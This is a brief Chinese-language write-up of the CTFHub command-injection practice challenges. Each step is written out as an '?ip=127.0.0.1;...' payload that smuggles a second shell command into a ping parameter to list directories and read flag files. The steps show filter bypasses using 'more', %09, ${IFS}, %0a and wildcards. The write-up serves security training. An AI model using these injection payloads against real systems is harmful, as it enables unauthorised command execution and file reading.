https://www.ctfhub.com/#/skilltree
命令注入
命令注入,查看当前文件夹结构 ?ip=127.0.0.1;ls
查看php文件内容 ?ip=127.0.0.1;cat 11001571914029.php
提交flag,成功破解
过滤cat
命令注入,查看当前文件夹结构 ?ip=127.0.0.1;ls
使用cat尝试读取php文件 ?ip=127.0.0.1;cat flag_178872710619471.php
显示失败,使用more替换cat再次尝试 ?ip=127.0.0.1;more flag_178872710619471.php
提交flag,成功破解
过滤空格
命令注入,查看当前文件夹结构 ?ip=127.0.0.1;ls
直接使用cat浏览php文件 ?ip=127.0.0.1;cat flag_30181147756989.php
读取失败,使用%09替换空格再次尝试 ?ip=127.0.0.1;cat%09flag_30181147756989.php
提交flag,成功破解
ps:常用的空格替换方法
过滤目录分隔符
命令注入,查看当前文件夹结构 ?ip=127.0.0.1;ls
命令注入,查看flag文件夹结构 ?ip=127.0.0.1;ls flag_is_here
先使用cd切换到flag目录,在使用cat查看php文件 ?ip=127.0.0.1;cd flag_is_here;cat flag_310062566722497.php
提交flag,成功破解
过滤运算符
命令注入,查看当前文件夹结构 ?ip=127.0.0.1;ls
命令注入,查看php文件 ?ip=127.0.0.1;cat flag_8111289615075.php
提交flag,成功破解
综合过滤练习
直接ping127.0.0.1,可以回显 ?ip=127.0.0.1
加上分号 ; 再次ping127.0.0.1,回显异常(说明过滤了分号;) ?ip=127.0.0.1;
使用%0a替换分号再次尝试,可以回显(则可以使用%0a替换分号) ?ip=127.0.0.1%0a
命令注入,查看当前文件夹内容 ?ip=127.0.0.1%0als
使用${IFS}代替空格,使用正则代替flag ?ip=127.0.0.1%0als${IFS}f_is_here
先切换到flag_is_here目录,再more查看php文件 ?ip=127.0.0.1%0acd${IFS}f_is_here%0amore${IFS}f*_326413011625021.php
提交flag,成功破解题目